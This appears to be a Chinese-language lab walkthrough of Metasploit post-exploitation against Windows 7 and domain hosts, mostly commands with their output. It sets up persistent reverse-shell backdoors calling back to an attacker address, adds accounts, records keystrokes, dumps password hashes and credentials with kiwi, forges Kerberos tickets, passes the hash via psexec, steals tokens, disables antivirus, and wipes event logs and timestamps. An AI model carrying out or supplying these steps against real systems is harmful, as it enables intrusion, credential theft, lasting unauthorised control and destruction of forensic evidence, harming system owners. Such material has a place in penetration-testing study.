由于 Meterpreter是仅仅驻留在内存中的 Shellcode,一旦目标主机重启,将失去这台机器的控制权,如果管理员将利用的漏洞打上补丁,那么重新入侵将会变得困难。好在Metasploit提供了 Persistence与 metsvc等后渗透攻击模块,通过在目标主机上安装自启动和永久服务的方式,就可以长久地控制目标主机。
下面两种方式很简单,隐蔽性很差,过不了杀软,高级玩法应该是上传免杀处理后的远程控制工具进行控制
第一步:创建后门
run persistence -X -i 5 -p 443 -r 192.168.50.131
在Meterpreter会话中运行persistence后渗透攻击模块:
第二步:连接后门
实测并不好用,重启win7没有连接到kali
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.50.131
LHOST => 192.168.50.131
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.50.131 yes The listen address (an interface may be specified)
LPORT 443 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.50.131:443
[*] Sending stage (176195 bytes) to 192.168.50.128
[*] Meterpreter session 1 opened (192.168.50.131:443 -> 192.168.50.128:50284) at 2020-11-02 01:45:43 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : someone-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
使用metsvc,把Meterpreter以系统服务的方式安装到目标机器上
只需简单地运行 metsvc模块,将在目标主机的31337端口开启后门监听服务,并上传三个 Meterpreter的模块:
服务安装成功后,将在目标主机上开启监听,并等待连接。服务项如下图所示。
正常情况下,通过如下命令会在目标机器上新建一个账号,并开启远程控制终端,这时在本地连接目标IP的3389(远程桌面)进行控制;如果对方在内网中可以使用portfwd命令做端口转发。
最后还可以通过run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201102.2605.rc来清理痕迹,关闭服务,删除添加的账号。(这里不知道为什么我失败了)
很无语,注销win7时发现,msf和zhangsan账户都被成功添加了
使用use post/windows/gather/forensics/enum_drives
列举目标主机的磁盘驱动器;
使用post/windows/gather/checkvm
检查目标机器是不是虚拟机
扫描速度不快,并且有疏漏,我这里没有把DC:10.10.10.149扫出来
meterpreter > run post/windows/gather/arp_scanner rhosts=10.10.10.150/24
[*] Running module against WEB
[*] ARP Scanning 10.10.10.150/24
[+] IP: 10.10.10.150 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
[+] IP: 10.10.10.255 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
meterpreter > run arp_scanner -r 10.10.10.0/24
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.150 MAC 00:0c:29:8d:10:77
[*] IP: 10.10.10.255 MAC 00:0c:29:8d:10:77
如果跳板机上安装的有nmap之类的工具,可以直接调用它
https://www.yuque.com/u1881995/xwfvho/uag24t#42292202
查看目标机器的最近访问的文件记录,即C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent
meterpreter > run post/windows/gather/dumplinks
[*] Running module against YXY-PC
[*] Running as SYSTEM extracting user list...
[*] Extracting lnk files for user yxy at C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\...
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.txt.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\2.jpg.lnk.
获得目标主机安装的软件、安全更新与漏洞补丁的信息
meterpreter > run post/windows/gather/enum_applications
[*] Enumerating applications installed on YXY-PC
Installed Applications
======================
Name Version
---- -------
7-Zip 19.00 (x64) 19.00
Everything 1.4.1.988 (x64) 1.4.1.988
Java 8 Update 144 (64-bit) 8.0.1440.1
Java Auto Updater 2.8.144.1
Java SE Development Kit 8 Update 144 (64-bit) 8.0.1440.1
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 9.0.30729
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508 14.20.27508.1
run post/windows/gather/enum_patches
方式1:
下面这种方法是后台记录,不会占用meterpreter。在你准备停止记录之前,使用keyscan_dump
查看记录结果,一旦停止记录,将不能查看结果
meterpreter > keyscan_start ##开始记录
Starting the keystroke sniffer ...
meterpreter > keyscan_dump ##记录结果
Dumping captured keystrokes...
meterpreter > keyscan_stop ##停止记录
Stopping the keystroke sniffer...
meterpreter >
方式2:
使用run post/windows/capture/keylog_recorder
,记录体验较好,但是会占用meterpreter
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against DESKTOP-BQM7KV7
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20220122022417_default_192.168.40.1_host.windows.key_946268.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...
meterpreter >
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_release Free captured packets on a specific interface instead of downloading them
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
run post/windows/gather/enum_ie
在 Meterpreter会话中运行 post/windows/gather/enum ie模块,将目标主机的IE浏览历史记录、保存的Cookie,以IE缓存的密码,都保存到本地文件
对于系统口令的攫取, Meterpreter的用户接口命令里就有集成的 hashdump命令,可以直接获取系统的密码哈希,使用命令如下:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:508e71dc398024a7de82488e85beaa93:::
msf:1004:aad3b435b51404eeaad3b435b51404ee:e37e07c21dbcc0c19ca053756ecc2278:::
zhangsan:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Meterpreter的hashdump命令在非system权限下会失败,而且在 Windows7/ista、 Windows2008 Server下有时候会出现进程移植不成功等问题,而 Metasploit中的后渗透攻击模块 smart_hashdump功能更为强大。
Smart hashdump后渗透攻击模块的工作流程如下:
1)检查会话具有的权限和目标操作系统的类型;
2)检查目标机是否是域控制服务器
3)在以上信息的基础上,首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入 LSASS进程,如果是域控制器将直接对 LSASS进程进行注入;
4)如果目标系统是 Windows2008 Server,而且会话具有管理员权限,这时使用getsystem命令尝试获得 system权限,如果在 system权限下不能注入 LSASS进程,这时会用migrate命令将代码移植到已经运行在 system权限下的进程中,然后再对 LSASS进程进行注入;
5)如果检测到目标系统是 Windows7/vsta,UAC已经关闭,而且会话具有本地管理员权限,这时运行 geosystem命令从注册表中读取;
6)在 Windows20032000XP系统下直接运行 geosystem命令,如果成功再从注册表中读取哈希值。
可以看出, smart_hashdump模块考虑到了在多种系统环境下密码哈希获取的差异,以及在 LSASS进程注入不成功情况下的解决办法,成功率显然提高了不少。但是如果Windows7开启了UAC,获取密码哈希和 getsystem命令都会失败,这时则需要首先使用绕过 Windows7UAC的后渗透攻击模块
哈希值利用
其他:Metasploit也提供了对 John The Ripper口令破解工具的集成,模块名称为 auxiliary/analyze/jtr_crack_fast
在最新的MSF版本中,load mimikatz已经取消,现在使用kiwi模块。
一些应用案例:https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg
creds_all | 列举所有凭据 |
---|---|
creds_kerberos | 列举所有kerberos凭据 |
creds_msv | 列举所有msv凭据 |
creds_ssp | 列举所有ssp凭据 |
creds_tspkg | 列举所有tspkg凭据 |
creds_wdigest | 列举所有wdigest凭据 |
dcsync | 通过DCSync检索用户帐户信息 |
dcsync_ntlm | 通过DCSync检索用户帐户NTLM散列、SID和RID |
golden_ticket_create | 创建黄金票据 |
kerberos_ticket_list | 列举kerberos票据 |
kerberos_ticket_purge | 清除kerberos票据 |
kerberos_ticket_use | 使用kerberos票据 |
kiwi_cmd | 执行mimikatz的命令,后面接mimikatz.exe的命令 |
lsa_dump_sam | dump出lsa的SAM |
lsa_dump_secrets | dump出lsa的密文 |
password_change | 修改密码 |
wifi_list | 列出当前用户的wifi配置文件 |
wifi_list_shared | 列出共享wifi配置文件/编码 |
在meterpreter中使用run post/windows/manage/enable_rdp
直连:https://www.yuque.com/u1881995/xwfvho/iizvrw#ocZsE
代理连接:https://www.yuque.com/u1881995/xwfvho/iizvrw#QO8Yz
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS 192.168.50.0/24
set PORTS 445
set THREADS 100
run
在metasploite中存在一个psexec模块,可以使用获取的hash进行登录。这里拿下一台域内主机10.10.10.138,对拥有同样账密的10.10.10.139测试psexec
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
use auxiliary/scanner/smb/smb_version
set THREADS 10
set RHOSTS 10.10.10.0/24
exploit
psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set SMBUser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
set rhosts 10.10.10.139
set lhost 10.10.10.128
exploit
参见:语雀地址、CSDN地址
常用信息收集模块
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
收集域信息
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
网上有相关字典:https://github.com/attackdebris/kerberos_enum_userlists,我这里准备一个小字典。
注意:在尝试猜测密码时, 应考虑域的帐户锁定策略。一个明智的方法是一次尝试一个密码, 限制自己猜测两次(系统设置为锁定后3无效尝试) 或猜测四次(系统设置为锁定5无效尝试后) 每30分钟对一个帐户。30分钟是典型的 “lockout observation window”。
use auxiliary/gather/kerberos_enumusers
set DOMAIN redteam.club
set rhosts 10.10.10.136
set user_file /home/kali/name.txt
exploit
更详细的理论解释,参见之前的文章:令牌窃取。实战案例,参见:项目6
load incognito # 加载incognito
list_tokens -u # 列出当前系统可用的token
impersonate_token "NT AUTHORITY\SYSTEM" # 选择要窃取的账号
rev2self # 返回原始token
ps # 查看系统进程信息
steal_token <pid值> # 从指定进程中窃取token
drop_token # 删除窃取的token
使用clearev清理日志痕迹等
meterpreter > clearev
[*] Wiping 1720 records from Application...
[*] Wiping 10965 records from System...
[*] Wiping 2776 records from Security...
使用timestomp篡改文件的修改或者访问时间
meterpreter > timestomp help
Usage: timestomp <file(s)> OPTIONS
OPTIONS:
-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file
-e <opt> Set the "mft entry modified" time of the file
-f <opt> Set the MACE of attributes equal to the supplied file
-h Help banner
-m <opt> Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z <opt> Set all four attributes (MACE) of the file